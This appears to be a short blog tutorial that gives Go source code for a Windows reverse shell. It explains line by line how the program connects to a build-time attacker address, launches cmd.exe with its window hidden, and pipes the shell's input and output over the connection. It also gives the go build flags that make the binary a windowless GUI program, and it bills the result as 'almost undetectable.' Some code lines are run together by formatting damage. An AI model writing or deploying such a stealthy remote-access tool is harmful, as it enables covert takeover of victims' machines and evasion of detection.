Basic reverse shell in golang (almost undetectable, hide cmd window)

package mainimport (      "net"         "os"        "os/exec"      "syscall"
  • net is required to establish a connection
  • os is required to call os.Exit()
  • os/exec is required to execute command on the target machine
  • syscall contains an interface to the low-level operating system primitives
var connectString stringfunc main() {if len(connectString) == 0 {os.Exit(1)}
  • var connectString string will be set during the compilation, it is the ip address and the port
conn, err := net.Dial("tcp", connectString)if err != nil {os.Exit(1)}
  • net.Dial connects to the address on the named network, in our case it will be the values into the variable connectString
cmd := exec.Command("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
  • cmd := exec.Command(“cmd.exe”) cmd represents an external command being prepared or run, exec.Command execute the command cmd.exe
  • cmd.SysProcAttr we use it to hide the cmd.exe window, this is the key to hide our reverse shell, we will need something else during the compilation !
cmd.Stdin = conncmd.Stdout = conncmd.Stderr = conn
  • Redirection of the inputs and outputs of this process
    to the open connection we initialized above into the “conn” variable.
  • cmd.Run() we run the command into the cmd variable
package mainimport (
var connectString stringfunc main() {if len(connectString) == 0 {
conn, err := net.Dial("tcp", connectString)
if err != nil {
cmd := exec.Command("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
go build --ldflags "-H=windowsgui -X main.connectString=" reverse.go
  • ldflags change the value of variables at build time and introduce your own dynamic information into a binary
  • -H=windowsgui writes a “GUI binary” instead of a “console binary”
  • -X flag to write information into the variable at link time, followed by the package path to the variable and its new value




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